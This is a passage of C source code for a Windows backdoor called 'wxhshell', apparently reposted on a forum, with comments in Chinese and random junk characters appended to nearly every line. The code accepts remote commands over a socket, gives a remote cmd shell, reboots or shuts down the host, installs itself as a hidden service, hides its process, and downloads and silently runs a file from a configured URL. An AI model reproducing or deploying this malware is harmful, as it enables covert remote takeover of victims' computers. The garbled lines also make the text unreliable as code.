  case '?': { Iv])s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }7?_>  
    break; 6 G.(o  
  } C.qN Bl*  
  // 安装 'D_a2xo0  
  case 'i': { =r z7x  
    if(Install()) :%G_<VAo!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2dl}S zp  
    else 6S K;1Bp-{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b9nTg  
    break; 1eHU!{<fqm  
    } Z p8\n:  
  // 卸载 o%3i(H  
  case 'r': { >7g #e,d   
    if(Uninstall()) 'Ur1I "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [$\KS_,Mn  
    else nv$>iJ^~H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5j'7V1:2  
    break; WB)pE'5  
    } R !&9RvNw  
  // 显示 wxhshell 所在路径 8XfhXm>~  
  case 'p': { 3( &k4  
    char svExeFile[MAX_PATH]; +4L]Z ;k  
    strcpy(svExeFile,"\n\r"); 6%yt"XmT  
      strcat(svExeFile,ExeFile); E8X(AZ 2  
        send(wsh,svExeFile,strlen(svExeFile),0); co^bS;r  
    break; `qoRnG  
    } F8xz^UQO  
  // 重启 ^mH:8_=(.  
  case 'b': { To/6=$wto  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +O$`8a)m  
    if(Boot(REBOOT)) aSse' C<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 74_':,u;]~  
    else { }%75 Wety  
    closesocket(wsh); z)%Ke~)<\@  
    ExitThread(0); S\76`Ot  
    } &{4KymB:  
    break; >]{{5oOQ>  
    } /(oxK>*F  
  // 关机 K;8{qQ*  
  case 'd': { <C1w?d$9I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); edai2O  
    if(Boot(SHUTDOWN)) GVT| fE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6JgbJbUi  
    else { n4XEyCrD  
    closesocket(wsh); u@]rR&h`  
    ExitThread(0); b=@H5XTZyK  
    } pTB1I3=.u  
    break; , wXixf2  
    } H 0( .p'eN  
  // 获取shell ^O0trM>h-  
  case 's': { q$7w?(Lk  
    CmdShell(wsh); V36u%zdX5n  
    closesocket(wsh); [_T6  
    ExitThread(0); Ly46S  
    break; >O]u4G!  
  } J,G/L!Bp  
  // 退出 .R^R32ln  
  case 'x': { QXI#gA  =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q}P UwN6  
    CloseIt(wsh); mX/'Fta  
    break; 0g8ykGyx  
    } 4Sz2 9\X  
  // 离开 73j\!x  
  case 'q': { }!uwWBw`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gq=tR`.  
    closesocket(wsh); !L[$t~z  
    WSACleanup(); 8B?*?,n5  
    exit(1); %45*DT  
    break; fJ  GwT  
        } &>n:7  
  } ffW-R)U|3  
  } l&|Tb8_'  
bg\9Lbjr  
  // 提示信息 G#L6;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 63`5A3rii  
} `#*`hH8  
  } "M;[c9  
&t U&ZH  
  return; {3T&6LA  
} z? Iu;X  
s .@Szq  
// shell模块句柄 B.A;1VE5  
int CmdShell(SOCKET sock) I p<~Y  
{ sF Ph?  
STARTUPINFO si; v}5||s!=  
ZeroMemory(&si,sizeof(si)); U:AB%gr[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TH"<6*f2L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u g_c}Nv=Y  
PROCESS_INFORMATION ProcessInfo; =}" P;4:  
char cmdline[]="cmd"; nt%fJ k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /2Z7  
  return 0; a|5<L  
} O]XgA0]  
T |&u?  
// 自身启动模式 PYwGGB-  
int StartFromService(void) :IO"' b  
{ lDL(,ZZS`  
typedef struct >Qqxn*O  
{ !'C8sNs  
  DWORD ExitStatus; n5 <B*  
  DWORD PebBaseAddress; ]k$:sX  
  DWORD AffinityMask; qgs:9V xF  
  DWORD BasePriority; $azK M,<q  
  ULONG UniqueProcessId; EK Ac>g  
  ULONG InheritedFromUniqueProcessId; \'r;1W  
}   PROCESS_BASIC_INFORMATION; %+((F +[  
2K^xN]]rG  
PROCNTQSIP NtQueryInformationProcess; B qo#cnlG  
\j<aFOT(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vjVa),2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _}gfec4o  
(QdLz5\  
  HANDLE             hProcess; [s[!PlazX  
  PROCESS_BASIC_INFORMATION pbi; )xL_jSyh  
tb>Q#QB&u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F=?GV\Tw  
  if(NULL == hInst ) return 0; "!Nu A  
:j#zn~7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6FX]b4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (tF/2cZk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RWB]uHzE  
P_P~c~o  
  if (!NtQueryInformationProcess) return 0; V#B'm?aQ  
yjOZed;M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k~2FlRoC^  
  if(!hProcess) return 0; tI  
7H4\AG\>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @nnX{$YX  
6o^O%:0g  
  CloseHandle(hProcess); v5I5tzt*%H  
L*P*^I^1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )+"(7U<  
if(hProcess==NULL) return 0; 1]W8A.ZS  
C,8@V`  
HMODULE hMod; g2vt(Gf;  
char procName[255]; mC$ te  
unsigned long cbNeeded; ?es9j]  
/VFQbJ+`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4<- E0  
l}FA&c"  
  CloseHandle(hProcess); W6)XMl}n  
x&N@R?AG1  
if(strstr(procName,"services")) return 1; // 以服务启动 m;sYg  
UZL-mF:)&  
  return 0; // 注册表启动 .G}$jO}  
} vos-[$  
ZSB;4 ?:h  
// 主模块 fc<,kRp  
int StartWxhshell(LPSTR lpCmdLine) #bb$Icmtk  
{ rW)}$|-Z  
  SOCKET wsl; PKev)M;C+  
BOOL val=TRUE; k#2b3}(,  
  int port=0; `uc`vkVZ  
  struct sockaddr_in door; eH9-GGr  
rc}=`D`  
  if(wscfg.ws_autoins) Install(); ()fYhk|W  
 ?QcS$i  
port=atoi(lpCmdLine); IFXnGDG$  
'h> l_A  
if(port<=0) port=wscfg.ws_port; i7?OZh*f  
4)9Pgp :  
  WSADATA data; { !t6& A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OYOczb]  
BO 3z$c1yU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^C8f(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -}5dZ;  
  door.sin_family = AF_INET; 0 d2to5 (  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "9RW<+  
  door.sin_port = htons(port); Zf?jnDA  
'1lz`CAB+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /pp;3JPf  
closesocket(wsl); s ~i,R  
return 1; 6a6N$v"  
} ?YM0VB,y  
g:>dF#  
  if(listen(wsl,2) == INVALID_SOCKET) { K14{c1  
closesocket(wsl); 602=qb  
return 1; 5?TjuGc  
} %Gjjl*`E  
  Wxhshell(wsl); ks8xxY  
  WSACleanup(); F'55BY*!  
([hd  
return 0; |H8UT S X+  
qjRp5  
} Z-i$KF  
a]x\e{  
// 以NT服务方式启动 Csm23QLsg)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FFc?Av?_  
{ z\<gm$1CB  
DWORD   status = 0; $t>ow~Xi  
  DWORD   specificError = 0xfffffff; rzKn5Z  
a@-!,Hi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e)4L}a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jAD{?/RB}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HF%)ip+  
  serviceStatus.dwWin32ExitCode     = 0; 'L6+B1Op  
  serviceStatus.dwServiceSpecificExitCode = 0; PLWx'N-kqL  
  serviceStatus.dwCheckPoint       = 0; h='@Q_1Sb  
  serviceStatus.dwWaitHint       = 0; T) cbpkH4  
%[m%QP1;p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ":Pfi!9Wl  
  if (hServiceStatusHandle==0) return; i'0ol^~y6  
H.TPKdVX  
status = GetLastError(); ;4(FS  
  if (status!=NO_ERROR) ACH!Gw~  
{ I=V]_Ik4 N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7/Mhz{o;W  
    serviceStatus.dwCheckPoint       = 0; (a8oI )~  
    serviceStatus.dwWaitHint       = 0; YwF\  
    serviceStatus.dwWin32ExitCode     = status; {q BbzBG  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z9lfd6MU,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OSCeTkR  
    return; MtK5>mhZI`  
  } -MeO|HWm  
0Yc#fD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6H!"oC&  
  serviceStatus.dwCheckPoint       = 0; ]m""ga  
  serviceStatus.dwWaitHint       = 0; @33-UP9o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iLkP@OYgQ  
} Ks^EGy+O:-  
d#nKTqSg  
// 处理NT服务事件,比如:启动、停止 <k2]GI-}h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2<+9lk  
{ 2a:JtJLl  
switch(fdwControl) CFx$r_!~  
{  4K$d%  
case SERVICE_CONTROL_STOP: w24@KaKFo  
  serviceStatus.dwWin32ExitCode = 0; xr 4kBC t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 31}kNc}n  
  serviceStatus.dwCheckPoint   = 0; zI3Bb?4.  
  serviceStatus.dwWaitHint     = 0; X6: c-  
  { jiAN8t*P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r1X\$&  
  } }Z\PE0  
  return; 0Bhf(5  
case SERVICE_CONTROL_PAUSE: Q u@T}Ci  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +wg|~Lef h  
  break; L-(.v*  
case SERVICE_CONTROL_CONTINUE: fmq9u(!R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZfN%JJOz(  
  break; SgPvQ'\  
case SERVICE_CONTROL_INTERROGATE: EXYr_$gRs  
  break; W%cJ#R[o  
}; g"L$}#iTsl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); - AxO1 qO  
} '#0'_9}  
p/inATH  
// 标准应用程序主函数 V$fvf#T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m|+g_JZ  
{ Sj<WiQ%<  
gEU|Bx/!=  
// 获取操作系统版本 sYb(g'W*'  
OsIsNt=GetOsVer(); ;-X5#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); + %07J6  
ln6Hr^@5  
  // 从命令行安装 2Fsv_t&*>  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4q\bnt  
l>O~^41[  
  // 下载执行文件 r+%}XS%;h  
if(wscfg.ws_downexe) { X,8 ]g.<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :;]iUjiC8  
  WinExec(wscfg.ws_filenam,SW_HIDE); cfd7)(6  
} T#e ;$\  
7B,a xkr  
if(!OsIsNt) { &udlt//^%  
// 如果时win9x,隐藏进程并且设置为注册表启动 * "Z5bKL  
HideProc(); [<M~6]  
StartWxhshell(lpCmdLine); Q)s[ls  
} ^p 4 33  
else Q4,!N(>D  
  if(StartFromService()) 3ud_d>  
  // 以服务方式启动 Wc+)EX~KS  
  StartServiceCtrlDispatcher(DispatchTable); $kef_*BQg  
else oMV<Yn_<  
  // 普通方式启动 /&#Gh?z  
  StartWxhshell(lpCmdLine); / `Glf|  
%nfaU~IqK  
return 0; kq kj.#u  
}
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只看该作者 1 发表于: 2006-10-10
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